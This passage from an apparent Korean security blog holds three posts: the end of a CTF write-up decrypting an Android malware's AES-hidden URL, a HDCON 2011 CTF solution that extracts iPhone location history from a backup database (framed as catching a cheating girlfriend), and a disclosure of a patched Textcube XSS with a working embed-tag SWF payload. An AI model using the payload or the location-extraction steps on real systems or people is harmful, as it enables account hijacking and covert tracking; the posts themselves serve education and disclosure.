        catch (Exception localException1)
        {
            return;
        }
    }
    catch (Exception localException2)
    {
        break label19;
    }
}

예, 확실히 TxWidgets가 악성코드임을 알 수 있습니다. 그런데 이 악성코드가 정확히 어떤 정보를 사용하는지를 알려면 AES로 암호화된 Cipher을 복호화해야 합니다. key와 Cipher를 다시 정리하면 아래와 같습니다.

Key = "TxWthrUpdate"
Cipher = "ADF757BF99C2D868A05231F354EDF44BA26E249A697CFA6927FC2A31D82909920CC136F11FAAC61CB944A501B6425889"

이 악성코드에서 사용된 AES 암복호화 코드는 추가된 TxClckZ 클래스에 구현되어 있습니다. 이 코드는 실제로 안드로이드 앱에서 많이 사용되는 AES 암복호화 코드⁶입니다. 그리고 최근에 이슈가 된 DroidKungFu에서도 이 코드가 사용된 것으로 알려져 있죠.

저 Key로 Cipher를 복호화하면 악성코드가 어떤 정보를 사용했는지 알 수 있을텐데요. 그런데 AES 암복호화 코드를 그대로 이용하여 Java로 작성하여 실행하면 패딩이 맞지 않다는 오류가 출력되면서 복호화가 되지 않습니다. 제가 이 부분에서 근 하루를 허비했죠.

조금만 생각해보면 간단합니다. 실제로 안드로이드 앱에서 사용되는 코드이고, DroidKungFu도 사용한 코드입니다. 분명히 정상적으로 실행되는 코드라는 것이죠. 그런데 Java로 구현하여 실행하면 오류가 발생합니다. 이 얘기는 PC의 Java JVM과 안드로이드의 Dalvik JVM이 차이가 있다는 얘기지요.

그러므로 AES 암복호화 코드를 이용하여 Cipher를 복호화하는 프로그램을 안드로이드 앱으로 작성하면 정상적으로 실행될 것입니다. 직접 앱을 만들어도 되고, 예제로 있는 SimpleCryptoExample⁷를 수정하여도 됩니다. 저는 예제 앱을 수정하였습니다.

[그림5] AES Cipher를 안드로이드에서 복호화한다.

역시 처음 분석한 대로 URL 주소가 복호화되었습니다. 저 주소로 접속하면 다음과 같은 문자열을 얻을 수 있습니다. 역시 AES Cipher이죠.

Cipher = "517A4D557F2B4FE775340A84D9E9B5A3DA4E56E9A3E2687995F92EC7B3805A064E90239F20FE04FA64DF842DFDC9FCDB"

이번에도 안드로이드 앱을 수정하여 동일한 Key로 복호화합니다. 그러면 악성코드가 DB에 등록할 연락처 번호와 이메일 주소를 얻을 수 있습니다.

[그림6] 마지막으로 복호화하면 연락처 번호화 이메일 주소를 얻는다.

그래서 패스워드는? "4ndr0M4l@k1s4.xyz.123_62922741337" 입니다.

크리에이티브 커먼즈 라이센스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.

주석.

안드로이드 개발환경 설치하기 :: http://underclub.tistory.com/242
Android Debug Bridge :: http://developer.android.com/guide/dev ··· adb.html
dex2jar :: http://code.google.com/p/dex2jar/
JAD :: http://www.varaneckas.com/jad
JD-GUI :: http://java.decompiler.free.fr/?q=jdgui
Encrypt/Decrypt Strings :: http://www.androidsnippets.com/encryptdecrypt-strings
SimpleCryptoExample :: http://theeye.pe.kr/entry/simple-aes-based-encryption-util-for-java-and-android

댓글 쓰기

HDCON 2011 예선 Stage 1 - 아이폰 위치 추적

6l4ck3y3@gmail.com (6l4ck3y3) — Tue, 28 Jun 2011 09:30:12 +0900

어느덧 돌아온 제8회 해킹방어대회, 2011 HDCON 예선의 첫 번째 문제입니다.

Question

1번 문제 : 후후대학 CC인 '몽'양과 '휘'군, 평소 바람기가 넘치는 바람둥이 '몽'양은
평소 남자친구 '휘'군의 노트북을 통해 스마트 폰을 동기화 한다.
SIS 시험을 위해 열공 하던 '휘'군은 시험전날 저녁에 '몽'양과 연락이
되지 않았다. 이번 기회에 '휘'씨를 도와 여자 친구인 '몽'양의 바람기를 잡자.
(2011년 1회 SIS 필기시험 전날 21:00~21:10의 '몽'양이 있었던 건물의 이름(대문자)입니다.)

ID: stage1 , PASSWORD: kisa_hdcon_8th

Analysis

압축 파일 하나를 던져 주고 여자친구의 바람기를 잡아달라는 의뢰입니다. 해당 압축 파일을 해제하면 안에 많은 파일들이 있습니다. 대부분 파일 이름이 해시 값으로 되어 있는데, 몇몇 파일이 본래의 파일 이름으로 있습니다. 그 중에서 Info.plist 파일의 내용을 확인하면 문제에서 주어진 파일이 아이폰이 동기화할 때 생성되는 백업파일이라는 것을 알 수 있습니다.

[그림1] Info.plist

아하! 이 문제는 아이폰의 위치 정보를 추적하는 문제군요.

Solution

아이폰의 위치 정보는 다음의 경로에 SQLite 파일로 저장됩니다.

Library/Caches/locationd/consolidated.db¹

그런데 주어진 파일들의 이름이 해시값으로 되어 있기 때문에 db 파일을 찾는 게 쉽지 않습니다.

그러나 다행히 Manifest.mbdb와 Manifest.mbdx 이 두 개의 파일은 iOS 장치가 동기화할 때 생성되는 백업 파일들의 본래의 파일 이름들에 대한 정보를 가지고 있습니다. 그리고 iphonels.py² 스크립트를 이용하여서 쉽게 파일들의 본래의 이름들을 찾을 수 있죠.

[그림2] iphonels.py로 consolidated.db를 쉽게 찾을 수 있다.

아이폰의 위치 정보가 저장된 db 파일을 찾았으니 이제는 Database 내용을 분석할 차례입니다.

아이폰이나 안드로이드는 내부 시스템의 db를 SQLite로 관리합니다. 실제로 consolidated.db를 file 명령어로 확인하면 SQLite 라고 나오지요.

SQLite db 파일을 보는 소프트웨어는 많이 있습니다. 그 중에서 전 SQLite Database Browser를 사용하겠습니다. 이 툴은 Windows, Linux, Mac을 모두 지원되는 유용한 툴이죠.

consolidated.db를 열면 참 많은 테이블들이 존재합니다. 이 중에서 위치 정보는 CellLocation 테이블에 저장되어 있습니다. 그리고 테이블을 보면 Timestamp와 GPS 좌표 정보를 볼 수 있습니다.

[그림3] CellLocation 테이블 안의 Timestamp와 GPS 좌표들

아이폰의 위치 정보들을 볼 수 있게 되었으니 문제에서 주어진 정보들을 이용하여 몽양의 위치를 확인할 차례입니다.

문제에서는 "2011년 1회 SIS 필기시험 전날 21:00~21:10" 이라고 적혀 있습니다. 이 정보는 정확한 시각 정보이고, Timestamp와 비교하여 위치를 알 수 있습니다. 그런데 Unix의 Timestamp가 1970년 1월 1일 0시부터 지나간 초수인데 반해, 아이폰의 Timestamp는 2001년 1월 1일 0시부터입니다.

그러므로 다음과 같은 쿼리문을 작성해야 합니다.

select datetime(Timestamp+978307200, 'unixepoch'), Latitude, Longitude from CellLocation³

978307200은 2001년 1월 1일 0시 0분의 Unix Timestamp입니다.

SQLite Database Browser에서 방금 작성한 쿼리문을 실행하면 Timestamp가 아닌 실제 시각 정보별로 GPS 좌표들을 볼 수 있습니다. 물론, "2011년 1회 SIS 필기시험 전날 21:00~21:10" 일 때의 위치도 보이죠.

[그림4] 실제 시각 정보 별 GPS 좌표들

2011년 1회 SIS 필기시험 전날은 5월 27일입니다. 해당 시각의 GPS 좌표는 단 하나만 존재하는군요. 이 좌표를 구글신께 물어보면 "2011년 1회 SIS 필기시험 전날 21:00~21:10" 일 때의 몽양의 위치를 확인할 수 있습니다.

[그림5] 몽양! 그 시각에 거긴 왜 갔었어? 누구랑?

그래서 패스워드는? "N SEOUL TOWER"입니다.

크리에이티브 커먼즈 라이센스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.

주석.

iPhoneTracker FAQ :: http://petewarden.github.com/iPhoneTracker/#faq
iphonels.py :: http://stackoverflow.com/questions/308 ··· 33130860
SQL As Understood By SQLite :: http://www.sqlite.org/lang_datefunc.html

댓글 쓰기

Textcube v1.8.5 XSS Vulnerability on RSS Reader

6l4ck3y3@gmail.com (6l4ck3y3) — Sat, 16 Apr 2011 12:20:28 +0900

지난 2월 27일, TNF 팀에 텍스트큐브 v1.8.5에서의 XSS 취약점을 보고한 적이 있습니다. 당시 보고했던 취약점은 OpenID를 이용한 방문자 로그인 시에 XSS 공격이 되는 문제와 관리메뉴의 RSS 바깥글 읽기에서 플래시를 통하여 XSS 공격이 되는 문제였습니다. 이 취약점들이 오늘 오전 5시 45분에 v1.8.6 발표후보 1이 공개되면서 패치되었습니다.

OpenID로 방문자 로그인 시에 XSS 공격하는 문제는 non-persistent XSS 취약점이구요. 그래서 이 글에서는 관리메뉴의 RSS 바깥글 읽기에서 플래시를 통한 XSS 공격을 설명하렵니다.

RSS 바깥글 읽기

텍스트큐브의 관리메뉴에는 RSS 바깥글 읽기(http://192.168.0.2/owner/network/reader)라는 메뉴가 있습니다. 줄여서 RSS 리더라고 하죠. RSS 리더는 다음의 설정을 통해 활성/비활성화가 가능합니다.

텍스트큐브 관리 -> 서비스 관리 -> 서버 -> 'RSS 이웃글 보기 사용' 체크 -> 저장

혹은 블로그 디렉토리 하위의 ~~.htaccess~~ config.php 파일을 수정하여도 활성/비활성화가 가능합니다.

XSS 취약점

RSS 리더에서는 기본적으로 library/function/javascript.php 의 filterJavaScript 함수로 자바스크립트가 비활성화가 됩니다. 그러나 v1.8.5 까지는 <embed></embed> 태그를 필터링하지 않아서 악성 플래시 파일에 대한 XSS 공격이 유효합니다.

블로그 관리자가 A라는 웹사이트의 RSS를 관리메뉴의 RSS 리더로 구독한다면, 공격자는 A라는 웹사이트에 다음과 같은 코드를 게시합니다.

&#60;embed src="http://192.168.0.2/xss.swf" AllowScriptAccess="always"&#62;&#60;/embed&#62;

관리자가 해당 글을 보게 된다면, 다음과 같이 XSS 공격을 당합니다.

패치

해당 취약점은 v1.8.6 발표후보 1에서 패치되었고, 패치 내용은 텍스트큐브 개발 센터의 #1107 티켓에서 확인할 수 있습니다.

크리에이티브 커먼즈 라이센스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.

댓글 쓰기